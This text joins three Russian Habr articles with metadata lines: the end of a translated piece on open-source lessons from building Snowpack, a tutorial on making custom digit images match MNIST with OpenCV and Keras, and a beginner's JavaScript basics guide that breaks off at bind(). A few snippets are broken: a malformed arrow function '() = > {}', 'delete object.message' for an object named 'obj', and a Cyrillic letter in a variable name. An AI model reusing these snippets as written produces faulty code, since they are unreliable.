Этот маленький, незамысловатый инструмент открывал совершенно новый подход к веб-разработке, который сейчас называют «Unbundled Web Development». В результате в распоряжении программистов оказались такие возможности, как мгновенная перезагрузка ресурсов и практически мгновенный запуск проекта в ходе разработки. Работа с ресурсами при этом не замедляется даже тогда, когда число файлов, входящих в проект, доходит до 1000 или даже до более чем 10000. Это ни в какое сравнение не идёт с более традиционными окружениями разработки, где используется бандлинг ресурсов, где всё ещё нормальным считается время запуска и перезагрузки проекта, исчисляемое несколькими секундами.
Исходная идея Snowpack возникла из простого, личного чувства неудовлетворённости, которое я испытывал на работе. Я трудился в команде разработки проекта Polymer, в Google. Там я участвовал в создании альтернативных инструментов сборки для (теперь уже мёртвой) спецификации [HTML Imports](https://developer.mozilla.org/en-US/docs/Web/Web_Components/HTML_Imports). Сам инструмент получился весьма приятным, но он не очень хорошо работал с npm, а пользовались им буквально несколько человек.
Я в итоге ушёл из команды разработчиков Polymer, но проблема, которая меня беспокоила, никуда не делась. Почему бандлеры, вроде Webpack, стали единственным инструментом, позволяющим использовать npm-пакеты в браузерах? Что-то должно решить проблемы загрузки npm-пакетов и их запуска в браузере, но должно ли это «что-то» предусматривать бандлинг всего сайта? Snowpack был моей попыткой выяснить то, есть ли альтернативный способ работы с npm-пакетами в браузере.
### ▍Совет тем, кто занимается поддержкой опенсорсных проектов
Положите в основу своей разработки решение собственных проблем. Если вас что-то не устраивает — велика вероятность, что то же самое не нравится и другим разработчикам. Заведите себе привычку всё подвергать сомнению.
Урок 2: действуйте быстро, не увеличивайте размеры проекта
----------------------------------------------------------
Когда вы работаете над новым проектом, вы редко когда знаете о том, какой именно код окажется важным в долгосрочной перспективе, и о том, какой код, в итоге, нужно будет удалить. Я, за время работы программистом, выбросил достаточные объёмы кода для того, чтобы понять, что иногда быстрое, сумбурное написание кода имеет определённую ценность. Если вы начинаете работу над новым проектом, некоторый беспорядок в его коде — это совершенно нормально.
Внутри Snowpack практически все сложные задачи решал Rollup. Snowpack был, на самом деле, всего лишь обёрткой для Rollup, которая занималась бандлингом отдельных npm-пакетов, а не всего сайта. Понимание того, что внутри Snowpack можно задействовать Rollup, сэкономило мне недели (а то и месяцы) рабочего времени.
Если говорить честно, то Snowpack, большую часть своей жизни, представлял собой всего лишь один единственный файл [index.js](https://github.com/snowpackjs/snowpack/tree/6d596af2ee99c8c5fb0c4097283e50fe125d0a8f/src).
Для того чтобы придерживаться избранного курса, я сосредоточился на единственной возможности: «Дай мне имя пакета, а я преобразую его в ES-модуль». Для большинства веб-разработчиков такая возможность, правда, оказалась бы слишком низкоуровневой. Честно говоря, Snowpack не привлёк значительной аудитории до тех пор, пока мы, в его версии 2.0, не добавили в проект встроенный сервер разработки и команду для сборки проекта. Но, даже без сервера, то, что Snowpack 1.0 был узкоспециализированным инструментом, оказалось интересным для определённого класса веб-разработчиков, совсем не пользующихся дополнительными инструментами или пользующимися ими в ограниченных масштабах.
Я рекомендую вам проверить свою идею и подготовить рабочую демо-версию проекта, сделав это как можно быстрее. На практике это означает выполнение следующих четырёх рекомендаций:
1. Используйте существующие инструменты! Создайте форк похожего опенсорсного проекта или используйте внутри своего проекта существующий инструмент в том случае, если это поможет вам выиграть время.
2. Пишите неаккуратный код! На самых ранних стадиях развития проекта вы, вероятно, не будете точно знать о том, что именно вы создаёте. Преждевременный рефакторинг кода иногда может быть хуже, чем полное отсутствие рефакторинга. Поэтому постарайтесь как можно дольше поддерживать гибкость своего кода.
3. Придерживайтесь чётких ориентиров! Не надо оснащать проект недоделанными, едва работающими возможностями. Вместо этого сосредоточьтесь на очень хорошем решении одной задачи.
4. Не пишите тесты! Сначала убедитесь в том, что создаёте что-то полезное, а потом уже тратьте свободное время на написание тестов. Нет ничего хуже, чем писать тесты для чего-то такого, чем в итоге никто не будет пользоваться.
Я знаю, что некоторые из моих советов выглядят неоднозначно и спорно. «Нет тестов??? Ересь!». Всё, что я могу сказать в защиту своего мнения, заключается в том, что этот подход хорошо сработал на нескольких моих популярных проектах, а так же — на бесчисленном количестве проектов, которые так и не стали популярными и ушли в небытие.
Очевидный минус рекомендации о том, что действовать надо быстро, заключается в том, что она невыполнима в долгосрочной перспективе. Быстрота действий означает и накопление технического долга, который когда-то неизбежно придётся платить, но, правда, лишь в том случае, если проект станет успешным. Как только наберётся некоторое количество пользователей, которым нравится то, что вы делаете, вам следует сдвинуть приоритеты в сторону стабильности, рефакторинга, тестирования кода. Подробнее об этом я расскажу в следующем материале.
Выплата технического долга может оказаться тяжёлой и утомительной работой. Но тут есть и положительный момент: если ваш проект никогда не «взлетит» — значит вы можете принимать поздравления! Вы не тратили время на тестирование чего-то такого, что никому не нужно.
### ▍Совет тем, кто занимается поддержкой опенсорсных проектов
Пишите неопрятный код, придерживайтесь чётких ориентиров, откладывайте дела, не являющиеся абсолютно необходимыми, до тех пор, пока вы не будете уверены в том, что работаете над чем-то реально полезным.
Урок 3: оперативно исправляйте ошибки
-------------------------------------
Вы только что получили свой первый баг-репорт. Ужас! Кто-то попробовал вашу разработку, а в ней что-то оказалось неисправным. Но самое важное тут то, что ваш проект кого-то настолько заинтересовал, что он сообщил вам об ошибке.
Одной из самых правильных линий поведения при работе над новым опенсорсных проектом является следующая: исправляйте ошибки сразу же после того, как к вам поступают отчёты о них. Сделать исправление ошибок самой приоритетной задачей в проекте, который уже дорос до изрядного размера, довольно сложно. Поэтому, пока можете, наслаждайтесь свободой и возможностью очень быстро реагировать на обращения пользователей.
[Себастьян Маккензи](https://twitter.com/sebmck) (создатель Babel, Yarn, и, теперь, Rome) хорошо [выразил](https://rome.tools/funding/#regularly-release-new-versions) вышеозвученную мысль:
*Одна из причин успеха Babel заключается в том, как быстро и оперативно я мог исправлять ошибки и выпускать новые версии. Я стремился регулярно выпускать новые релизы в течение считанных минут после получения баг-репортов. Это было невероятно важно в ранние дни развития проекта, когда ещё мало кто им пользовался. Возможность быстро решать проблемы, мешающие пользователям работать, часто могла вдохновить их на использование Babel, несмотря даже на то, что при работе с ним они столкнулись с ошибкой.*
### ▍Совет тем, кто занимается поддержкой опенсорсных проектов
Ваши первые пользователи — это самое важное. Сделайте исправление ошибок, о которых они сообщают, самой главной своей задачей, отодвинув всё остальное на второй план.
Урок 4: уделите внимание хорошему сторителлингу
-----------------------------------------------
Возникает такое ощущение, что программисты всегда брезгуют вопросами, связанными с маркетингом. Но ничего не поделаешь — тому, кто хочет, чтобы люди пользовались его разработками, нужно людям об этих разработках рассказать. Даже когда речь идёт о вирусном маркетинге, о «сарафанном радио», когда нечто становится популярным, как кажется, естественным образом, за этим обычно стоят вполне конкретные действия заинтересованных лиц.
Для начала достаточно поделиться сведениями о проекте с друзьями или коллегами и поинтересоваться их мнением о нём. И если ваш проект, в первый же день, не попадёт на первую полосу Hacker News — это совершенно нормально. В этот момент вам нужна лишь обратная связь и, возможно, ваши первые пользователи.
Когда вы готовы к тому, чтобы рассказать о проекте более широкой аудитории, сделать это можно несколькими способами. Один из популярных подходов заключается в том, чтобы рассказывать свою историю постепенно, в небольших, красиво оформленных публикациях. Именно так Себастьян Маккензи [разжигал](https://twitter.com/sebmck/status/1108407803545214977) интерес аудитории к Rome, начав почти за 2 года до выхода проекта. [Марк Далглейш](https://twitter.com/markdalgleish) тоже сделал большое дело, продвигая таким же образом в Twitter vanilla-extract.
Ещё можно проявить креативность и сделать что-то совершенно необычное. [Бен Холмс](https://twitter.com/BHolmesDev) отрывается по полной, записывая [видео](https://twitter.com/BHolmesDev/status/1404426841440538627) о своём новом проекте [Slinkity](https://slinkity.dev/) перед маркерной доской.
Если говорить о Snowpack, то я решил рассказать нашу историю в одной большой [публикации](https://www.pika.dev/blog/pika-web-a-future-without-webpack). Её подготовка заняла немало времени, но это дало нам пространство для обстоятельного раскрытия причин существования проекта. Я подумал, что нам нужна эмоциональная связь с нашей главной целью, которая заключалась в изменении подхода к веб-разработке. И даже хотя речь идёт всего лишь об одной публикации, она подняла большой шум, а после того, как она вышла, ещё довольно долго на неё ссылались и делились ей в соцсетях.
### ▍Совет тем, кто занимается поддержкой опенсорсных проектов
Продвигайте свой проект. Найдите такой стиль сторителлинга, который подходит вам и вашему проекту.
Урок 5: игнорируйте ненавистников, прислушивайтесь к пользователям
------------------------------------------------------------------
Если рассказ о вашем проекте когда-нибудь попадёт на Hacker News — ждите, что кому-то он очень не понравится.
Если вам будет сопутствовать удача — вы сможете увидеть разницу между невежественной и конструктивной критикой. Игнорируйте выпады невежд (ненавистников), а вот к конструктивной критике, по возможности, прислушайтесь. Если видно, что кто-то уделил время хотя бы тому, чтобы, с добрыми намерениями, понять ваш проект, в его отзыве обычно можно найти что-то ценное. Вам надо научиться узнавать такие отзывы.
Обычно конструктивная критика появляется тогда, когда очевидно то, что некто попытался понять смысл того, что вы сделали, но ещё не вполне разобрался в некоторых важнейших моментах проекта. Легко назвать такого человека тупицей и пойти дальше, но помните о том, что именно вы отвечаете за то, чтобы понятно рассказать другим о своей работе. Если кто-то не понял смысла того, что вы делаете, это обычно значит, что вы могли бы улучшить файл `README` своего проекта, или его документацию, или как-то поработать над сторителлингом.
### ▍Совет тем, кто занимается поддержкой опенсорсных проектов
Ненавистники, как говорится, всегда будут ненавидеть. Поэтому просто не обращайте на них внимания. Научитесь узнавать отзывы, написанные доброжелательными людьми и содержащие конструктивную критику.
Главный вывод: поддерживайте своих первых пользователей
-------------------------------------------------------
Если вы начинаете работу над новым опенсорсным проектом — вам стоит постараться сделать так, чтобы ваши первые 10 пользователей испытывали бы от проекта исключительно положительные эмоции. Всё то, о чём мы говорили выше, в сущности, сводится к тому, чтобы так или иначе найти и поддержать этих первых пользователей. Если вы поведёте себя с ними правильно — это значит, что вы уже создали что-то, в чём есть какой-то смысл.
И если вам кажется, что для того, чтобы сделать всё то, о чём мы говорили, понадобится слишком много времени и сил, помните о том, что в сфере опенсорса нет правил. Предполагается, что всё, что связано с опенсорсом, должно быть позитивным и интересным. И если вы разрабатываете что-то исключительно для себя или для небольшой аудитории — вы вполне можете не принимать к сведению большинство тех советов, которыми я с вами поделился.
Есть ли у вас собственные опенсорсные проекты?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=5_veshhej,_kotorye_ya_uznal,_dovedya_snowpack_do_20000_github-zvyozd) | https://habr.com/ru/post/580276/ | null | ru | null |
# Подгон под MNIST-овский датасет
В интернете можно найти 1000 и 1 статью по тренингу мнистовского датасета для распознавания рукописных чисел. Однако когда дело доходит до практики и начинаешь распознавать собственные картинки, то модель справляется плохо или не справляется вовсе. Конечно же мы можем перевести картинку в оттенки серого, насильно поменять размер под мнистовский на 28x28 пикселей, и тогда наша сеть будет работать с подобными картинками:
Естественно, основная проблема состоит в том, что произвольная картинка сильно отличается от базы картинок MNIST. Исходные MNIST-овские цифры помещаются в квадратную картинку 20x20 пикселей. Затем вычисляется центр масс изображения и оно располагается на поле размера 28x28 пикселей таким образом, чтобы центр масс совпадал с центром поля. Именно к такому виду мы и должны подгонять наши данные.
Используем любую реализацию модельки для распознавания MNIST-овских чисел. [Например](https://machinelearningmastery.com/how-to-develop-a-convolutional-neural-network-from-scratch-for-mnist-handwritten-digit-classification/):
```
from tensorflow.keras.datasets import mnist
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D
from tensorflow.keras.layers import MaxPooling2D
from tensorflow.keras.layers import Dense
from tensorflow.keras.layers import Flatten
from tensorflow.keras.optimizers import SGD
# load train and test dataset
def load_dataset():
# load dataset
(trainX, trainY), (testX, testY) = mnist.load_data()
# reshape dataset to have a single channel
trainX = trainX.reshape((trainX.shape[0], 28, 28, 1))
testX = testX.reshape((testX.shape[0], 28, 28, 1))
# one hot encode target values
trainY = to_categorical(trainY)
testY = to_categorical(testY)
return trainX, trainY, testX, testY
# scale pixels
def prep_pixels(train, test):
# convert from integers to floats
train_norm = train.astype('float32')
test_norm = test.astype('float32')
# normalize to range 0-1
train_norm = train_norm / 255.0
test_norm = test_norm / 255.0
# return normalized images
return train_norm, test_norm
# define cnn model
def define_model():
model = Sequential()
model.add(Conv2D(32, (3, 3), activation='relu', kernel_initializer='he_uniform', input_shape=(28, 28, 1)))
model.add(MaxPooling2D((2, 2)))
model.add(Conv2D(64, (3, 3), activation='relu', kernel_initializer='he_uniform'))
model.add(Conv2D(64, (3, 3), activation='relu', kernel_initializer='he_uniform'))
model.add(MaxPooling2D((2, 2)))
model.add(Flatten())
model.add(Dense(100, activation='relu', kernel_initializer='he_uniform'))
model.add(Dense(10, activation='softmax'))
# compile model
opt = SGD(learning_rate=0.01, momentum=0.9)
model.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy'])
return model
# run the test harness for evaluating a model
def run_test_harness():
# load dataset
trainX, trainY, testX, testY = load_dataset()
# prepare pixel data
trainX, testX = prep_pixels(trainX, testX)
# define model
model = define_model()
# fit model
model.fit(trainX, trainY, epochs=10, batch_size=32, verbose=1)
# save model
model.save('digit_model.h5')
_, acc = model.evaluate(testX, testY, verbose=0)
print('> %.3f' % (acc * 100.0))
# entry point, run the test harness
run_test_harness()
>>> 99.040
```
Получили довольно неплохой accuracy. Теперь возьмем наши личные картинки и посмотрим, что нам предоставит сеть. Самый стандартный способ препроцессинга: заскейлить до 28 пикселей, инвертировать цвет:
```
import cv2
import numpy as np
def rec_digit(img_path):
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
gray = 255 - img
gray = cv2.resize(gray, (28, 28))
cv2.imwrite('gray'+ img_path, gray)
img = gray / 255.0
img = np.array(img).reshape(-1, 28, 28, 1)
out = str(np.argmax(model.predict(img)))
return out
```
Ноль распознался нормально, потому что находится по центру и расположен в целом довольно удачно. С остальными числами плохо. Получается, точность на 5 тестовых картинках всего 20 процентов.
Еще раз сформулируем главный тезис, как выглядит [датасет](http://yann.lecun.com/exdb/mnist/): The original black and white (bilevel) images from NIST were size normalized to fit in a 20x20 pixel box while preserving their aspect ratio. The resulting images contain grey levels as a result of the anti-aliasing technique used by the normalization algorithm. the images were centered in a 28x28 image by computing the center of mass of the pixels, and translating the image so as to position this point at the center of the 28x28 field.
Преобразуем все картинки к такому формату. Также отметим, что если фон не совсем белый, то мы получим что-то, сильно отличающееся от мнистовского датасета, белая цифра на черном фоне, как в примере с девяткой. Поэтому добавим пороговую обработку после считывания изображения:
```
def rec_digit(img_path):
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
gray = 255-img
# применяем пороговую обработку
(thresh, gray) = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
gray = cv2.resize(gray, (28, 28))
cv2.imwrite('gray'+ img_path, gray)
img = gray / 255.0
img = np.array(img).reshape(-1, 28, 28, 1)
out = str(np.argmax(model.predict(img)))
return out
```
После применения пороговой обработкиТеперь мы хотим поместить картинку в бокс 20x20 пикселей. Можно делать это несколькими способами. Один из вариантов - найти контур, ограничивающий цифру, взять его в качестве основного изображения и сделать **resize** до нужных размеров. [Пример](https://stackoverflow.com/questions/21104664/extract-all-bounding-boxes-using-opencv-python), как это можно делать. В том числе может пригодиться, если необходимо распознавать числа из более чем одной цифры.
Мы же будем делать немного проще и, с другой стороны, надежнее. А именно, сперва удалим все строки и столбцы, в которых пиксели только черные. Таким образом мы получим картинку, в точности являющейся прямоугольной оболочкой нашей цифры.
```
def rec_digit(img_path):
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
gray = 255-img
# применяем пороговую обработку
(thresh, gray) = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
# удаляем нулевые строки и столбцы
while np.sum(gray[0]) == 0:
gray = gray[1:]
while np.sum(gray[:,0]) == 0:
gray = np.delete(gray,0,1)
while np.sum(gray[-1]) == 0:
gray = gray[:-1]
while np.sum(gray[:,-1]) == 0:
gray = np.delete(gray,-1,1)
rows, сols = gray.shape
cv2.imwrite('gray'+ img_path, gray)
gray = cv2.resize(gray, (28, 28))
img = gray / 255.0
img = np.array(img).reshape(-1, 28, 28, 1)
out = str(np.argmax(model.predict(img)))
return out
```
В целом, в точности и получаются bounding boxes.Далее хотим поменять размер картинок таким образом, чтобы они помещались в квадрат размера 20x20. Добавим фактор, чтобы наибольшая сторона была длиной в 20 пикселей:
```
def rec_digit(img_path):
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
gray = 255-img
# применяем пороговую обработку
(thresh, gray) = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
# удаляем нулевые строки и столбцы
while np.sum(gray[0]) == 0:
gray = gray[1:]
while np.sum(gray[:,0]) == 0:
gray = np.delete(gray,0,1)
while np.sum(gray[-1]) == 0:
gray = gray[:-1]
while np.sum(gray[:,-1]) == 0:
gray = np.delete(gray,-1,1)
rows, сols = gray.shape
# изменяем размер, чтобы помещалось в box 20x20 пикселей
if rows > cols:
factor = 20.0/rows
rows = 20
cols = int(round(cols*factor))
gray = cv2.resize(gray, (cols,rows))
else:
factor = 20.0/cols
cols = 20
rows = int(round(rows*factor))
gray = cv2.resize(gray, (cols, rows))
cv2.imwrite('gray'+ img_path, gray)
gray = cv2.resize(gray, (28, 28))
img = gray / 255.0
img = np.array(img).reshape(-1, 28, 28, 1)
out = str(np.argmax(model.predict(img)))
return out
```
Теперь расширяем картинку до 28x28 пикселей, добавляя черные ряды и столбцы по краям, используя функцию `np.lib.pad`, которая добавляет нули по краям. И сразу удалим строчку `gray = cv2.resize(gray, (28, 28)).` После факторизации добавляем:
```
colsPadding = (int(math.ceil((28-cols)/2.0)),int(math.floor((28-cols)/2.0)))
rowsPadding = (int(math.ceil((28-rows)/2.0)),int(math.floor((28-rows)/2.0)))
gray = np.lib.pad(gray,(rowsPadding,colsPadding),'constant')
```
Добавили границы до размера 28x28В целом, картинки уже расположены довольно хорошо. Тем не менее, следующий шаг - подвинуть внутреннюю коробку таким образом, чтобы ее центр масс совпадал с центром всей картинки. Заведем две вспомогательные функции. Первая вычисляет центр масс и направление сдвига:
```
from scipy.ndimage.measurements import center_of_mass
def getBestShift(img):
cy,cx = center_of_mass(img)
rows,cols = img.shape
shiftx = np.round(cols/2.0-cx).astype(int)
shifty = np.round(rows/2.0-cy).astype(int)
return shiftx,shifty
```
И собственно функция, которая сдвигает картинку в нужном направлении. Подробнее о [warpAffine](https://docs.opencv.org/4.x/da/d6e/tutorial_py_geometric_transformations.html#gsc.tab=0). В нашем случае следующая матрица трансформации:
```
def shift(img,sx,sy):
rows,cols = img.shape
M = np.float32([[1,0,sx],[0,1,sy]])
shifted = cv2.warpAffine(img,M,(cols,rows))
return shifted
```
Добавляем еще пару строчек со сдвигом относительно центра масс:
```
shiftx,shifty = getBestShift(gray)
shifted = shift(gray,shiftx,shifty)
gray = shifted
```
И по итогу получаем полноценный подгон под мнистовский датасет:
```
from scipy.ndimage.measurements import center_of_mass
import math
import cv2
import numpy as np
def getBestShift(img):
cy,cx = center_of_mass(img)
rows,cols = img.shape
shiftx = np.round(cols/2.0-cx).astype(int)
shifty = np.round(rows/2.0-cy).astype(int)
return shiftx,shifty
def shift(img,sx,sy):
rows,cols = img.shape
M = np.float32([[1,0,sx],[0,1,sy]])
shifted = cv2.warpAffine(img,M,(cols,rows))
return shifted
def rec_digit(img_path):
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
gray = 255-img
# применяем пороговую обработку
(thresh, gray) = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)
# удаляем нулевые строки и столбцы
while np.sum(gray[0]) == 0:
gray = gray[1:]
while np.sum(gray[:,0]) == 0:
gray = np.delete(gray,0,1)
while np.sum(gray[-1]) == 0:
gray = gray[:-1]
while np.sum(gray[:,-1]) == 0:
gray = np.delete(gray,-1,1)
rows,cols = gray.shape
# изменяем размер, чтобы помещалось в box 20x20 пикселей
if rows > cols:
factor = 20.0/rows
rows = 20
cols = int(round(cols*factor))
gray = cv2.resize(gray, (cols,rows))
else:
factor = 20.0/cols
cols = 20
rows = int(round(rows*factor))
gray = cv2.resize(gray, (cols, rows))
# расширяем до размера 28x28
colsPadding = (int(math.ceil((28-cols)/2.0)),int(math.floor((28-cols)/2.0)))
rowsPadding = (int(math.ceil((28-rows)/2.0)),int(math.floor((28-rows)/2.0)))
gray = np.lib.pad(gray,(rowsPadding,colsPadding),'constant')
# сдвигаем центр масс
shiftx,shifty = getBestShift(gray)
shifted = shift(gray,shiftx,shifty)
gray = shifted
cv2.imwrite('gray'+ img_path, gray)
img = gray / 255.0
img = np.array(img).reshape(-1, 28, 28, 1)
out = str(np.argmax(model.predict(img)))
return out
```
Вообще можно было бы задаться вопросом, действительно ли сдвиг относительно центра масс имеет вообще хоть какой-то толк, особенно если мы работаем с картинкой 20x20 пикселей? Разница будет, пусть и небольшая. Тем не менее, мы подогнали произвольную картинку под MNIST-овский датасет.
Изображения со сдвигом центра массИзображения до сдвига центра масс, после добавления границ до размера 28x28Как итог, моделька выше с использованием построенного препроцессинга изображений дает следующий результат:
Пост написан для <https://github.com/spbu-math-cs/ml-course> | https://habr.com/ru/post/668144/ | null | ru | null |
# Основы JavaScript для начинающих разработчиков
Материал, перевод которого мы сегодня публикуем, посвящён основам JavaScript и предназначен для начинающих программистов. Его можно рассматривать и как небольшой справочник по базовым конструкциям JS. Здесь мы, в частности, поговорим о системе типов данных, о переменных, о массивах, о функциях, о прототипах объектов, и о некоторых других особенностях языка.
[](https://habr.com/company/ruvds/blog/416375/)
Примитивные типы данных
-----------------------
В JavaScript имеются следующие примитивные типы данных: `number`, `boolean`, `string`, `undefined`, `null`. Сразу нужно отметить, что, при работе с примитивными типами данных, например, со строковыми литералами, мы, даже не проводя явного преобразования, сможем обращаться к их методам и свойствам. Дело тут в том, что при попытке выполнения подобных операций литералы автоматически оснащаются соответствующей объектной обёрткой.
### ▍Числа
В JavaScript имеется лишь один тип чисел — это числа двойной точности с плавающей запятой. Это ведёт к тому, что результаты вычисления некоторых выражений арифметически неверны. Возможно, вы уже знаете, что в JS значение выражения `0.1 + 0.2` не равно `0.3`. В то же время, при работе с целыми числами таких проблем не наблюдается, то есть, `1 + 2 === 3`.
В JavaScript имеется объект `Number`, представляющий собой объектную обёртку для числовых значений. Объекты типа `Number` можно создавать либо используя команду вида `var a = new Number(10)`, либо можно полагаться на автоматическое поведение системы, описанное выше. Это, в частности, позволяет вызывать методы, хранящиеся в `Number.prototype` в применении к числовым литералам:
```
(123).toString(); //"123"
(1.23).toFixed(1); //"1.2"
```
Существуют глобальные функции, предназначенные для преобразования значений других типов в числовой тип. Это — `parseInt()`, `parseFloat()` и конструкция `Number()`, которая в данном случае выступает в виде обычной функции, выполняющей преобразование типов:
```
parseInt("1") //1
parseInt("text") //NaN
parseFloat("1.234") //1.234
Number("1") //1
Number("1.234") //1.234
```
Если в ходе операции с числами получается нечто, не являющееся числом (в ходе неких вычислений, или при попытке преобразования чего-либо в число), JavaScript не выдаст ошибку, а представит результат подобной операции в виде значения `NaN` (Not-a-Number, не число). Для того, чтобы проверить, является ли некое значение `NaN`, можно воспользоваться функцией `isNaN()`.
Арифметические операции JS работают вполне привычным образом, но надо обратить внимание на то, что оператор `+` может выполнять и сложение чисел, и конкатенацию строк.
```
1 + 1 //2
"1" + "1" //"11"
1 + "1" //"11"
```
### ▍Строки
Строки в JavaScript представляют собой последовательности символов Unicode. Строковые литералы создают, заключая текст, который нужно в них поместить, в двойные (`""`) или одинарные (`''`) кавычки. Как уже было сказано, при работе со строковыми литералами мы можем полагаться на соответствующую объектную обёртку, в прототипе которой имеется множество полезных методов, среди них — `substring()`, `indexOf()`, `concat()`.
```
"text".substring(1,3) //ex
"text".indexOf('x') //2
"text".concat(" end") //text end
```
Строки, как и другие примитивные значения, иммутабельны. Например, метод `concat()` не модифицирует существующую строку, а создаёт новую.
### ▍Логические значения
Логический тип данных в JS представлен двумя значениями — `true` и `false`. Язык может автоматически преобразовывать различные значения к логическому типу данных. Так, ложными, помимо логического значения `false`, являются значения `null`, `undefined`, `''` (пустая строка), `0` и `NaN`. Всё остальное, включая любые объекты, представляет собой истинные значения. В ходе выполнения логических операций всё, что считается истинным, преобразуется к `true`, а всё, что считается ложным, преобразуется к `false`. Взгляните на следующий пример. В соответствии с вышеизложенными принципами пустая строка будет преобразована к `false` и в результате выполнения этого кода в консоль попадёт строка `This is false`.
```
let text = '';
if(text) {
console.log("This is true");
} else {
console.log("This is false");
}
```
Объекты
-------
Объекты — это динамические структуры, состоящие из пар ключ-значение. Значения могут иметь примитивные типы данных, могут быть объектами или функциями.
Объекты проще всего создавать, используя синтаксис объектных литералов:
```
let obj = {
message : "A message",
doSomething : function() {}
}
```
Свойства объекта можно, в любое время, читать, добавлять, редактировать и удалять. Вот как это делается:
* Чтение свойств: `object.name, object[expression]`.
* Запись данных в свойства (если свойство, к которому обращаются, не существует, добавляется новое свойство с указанным ключом): `object.name = value`, `object[expression] = value`.
* Удаление свойств: `delete object.name`, `delete object[expression]`.
Вот несколько примеров:
```
let obj = {}; // создание пустого объекта
obj.message = "A message"; // добавление нового свойства
obj.message = "A new message"; // редактирование свойства
delete object.message; // удаление свойства
```
Объекты в языке реализованы в виде хэш-таблиц. Простую хэш-таблицу можно создать, используя команду `Object.create(null)`:
```
let french = Object.create(null);
french["yes"] = "oui";
french["no"] = "non";
french["yes"];//"oui"
```
Если объект нужно сделать иммутабельным, можно воспользоваться командой `Object.freeze()`.
Для перебора всех свойств объекта можно воспользоваться командой `Object.keys()`:
```
function logProperty(name){
console.log(name); //имя свойства
console.log(obj[name]); // значение свойства
}
Object.keys(obj).forEach(logProperty);
```
### ▍Сравнение значений примитивных типов и объектов
При практической работе с примитивными значениями можно, как уже было сказано, воспринимать их как объекты, у которых есть свойства и методы, хотя объектами они не являются. Примитивные значения иммутабельны, внутренняя структура объектов может меняться.
Переменные
----------
В JavaScript переменные можно объявлять, используя ключевые слова `var`, `let` и `const`.
При использовании ключевого слова `var` можно объявить переменную, и, если надо — инициализировать её неким значением. Если переменная не инициализирована, её значением является `undefined`. Переменные, объявленные с использованием ключевого слова `var`, имеют функциональную область видимости.
Ключевое слово `let` очень похоже на `var`, разница заключается в том, что переменные, объявленные с ключевым словом `let`, имеют блочную область видимости.
Блочную область видимости имеют и переменные объявленные с помощью ключевого слова `const`, которые, учитывая то, что значения подобных переменных нельзя изменять, правильнее будет называть «константами». Ключевое слово `const`, которое «замораживает» значение переменной, объявленной с его использованием, можно сравнить с методом `Object.freeze()`, «замораживающим» объекты.
Если переменная объявлена за пределами какой-либо функции, её область видимости является глобальной.
Массивы
-------
Массивы в JavaScript реализованы с использованием объектов. Как результат, говоря о массивах, мы, фактически, обсуждаем объекты, похожие на массивы. Работать с элементами массива можно, используя их индексы. Числовые индексы преобразуются в строки и используются как имена для доступа к значениям элементов массивов. Например, конструкция вида `arr[1]` аналогична конструкции вида `arr['1']`, и та и другая дадут доступ к одному и тому же значению: `arr[1] === arr['1']`. В соответствии с вышесказанным, простой массив, объявленный командой `let arr = ['A', 'B', 'C']`, представляется в виде объекта примерно следующего вида:
```
{
'0': 'A',
'1': 'B',
'2': 'C'
}
```
Удаление элементов массива с использованием команды `delete` оставляет в нём «дыры». Для того чтобы избежать этой проблемы, можно использовать команду `splice()`, но работает она медленно, так как, после удаления элемента, перемещает оставшиеся элементы массива, фактически, сдвигая их к началу массива, влево.
```
let arr = ['A', 'B', 'C'];
delete arr[1];
console.log(arr); // ['A', empty, 'C']
console.log(arr.length); // 3
```
Методы массивов позволяют легко реализовывать такие структуры данных, как стеки и очереди:
```
// стек
let stack = [];
stack.push(1); // [1]
stack.push(2); // [1, 2]
let last = stack.pop(); // [1]
console.log(last); // 2
// очередь
let queue = [];
queue.push(1); // [1]
queue.push(2); // [1, 2]
let first = queue.shift();//[2]
console.log(first); // 1
```
Функции
-------
Функции в JavaScript являются объектами. Функции можно назначать переменным, хранить в объектах или массивах, передавать в виде аргументов другим функциям и возвращать из других функций.
Существует три способа объявления функций:
* Классическое объявление функции (Function Declaration или Function Statement).
* Использование функциональных выражений (Function Expression), которые ещё называют функциональными литералами (Function Literal).
* Использование синтаксиса стрелочных функций (Arrow Function).
### ▍Классическое объявление функции
При таком подходе к объявлению функций действуют следующие правила:
* Первым ключевым словом в строке объявления функции является `function`.
* Функции необходимо назначить имя.
* Функцию можно использовать в коде, находящимся до её объявления благодаря механизму подъёма объявления функции в верхнюю часть области видимости, в которой она объявлена.
Вот как выглядит классическое объявление функции:
```
function doSomething(){}
```
### ▍Функциональные выражения
При использовании функциональных выражений нужно учитывать следующее:
* Ключевое слово `function` уже не является первым словом в строке объявления функции.
* Наличие имени у функции необязательно. Возможно применение как анонимных, так и именованных функциональных выражений.
* Команды вызова таких функций должны следовать за командами их объявления.
* Такую функцию можно запустить сразу же после объявления, воспользовавшись синтаксисом IIFE (Immediately Invoked Function Expression — немедленно вызываемое функциональное выражение).
Функциональное выражение выглядит так:
```
let doSomething = function() {}
```
### ▍Стрелочные функции
Стрелочные функции, по сути, можно считать «синтаксическим сахаром» для создания анонимных функциональных выражений. Надо отметить, что у таких функций нет собственных сущностей `this` и `arguments`. Объявление стрелочной функции выглядит так:
```
let doSomething = () = > {};
```
### ▍Способы вызова функций
Функции можно вызывать различными способами.
#### Обычный вызов функции
```
doSomething(arguments)
```
#### Вызов функции в виде метода объекта
```
theObject.doSomething(arguments)
theObject["doSomething"](arguments)
```
#### Вызов функции в виде конструктора
```
new doSomething(arguments)
```
#### Вызов функции с использованием метода apply()
```
doSomething.apply(theObject, [arguments])
doSomething.call(theObject, arguments)
```
#### Вызов функции с использованием метода bind()
```
let doSomethingWithObject = doSomething.bind(theObject);
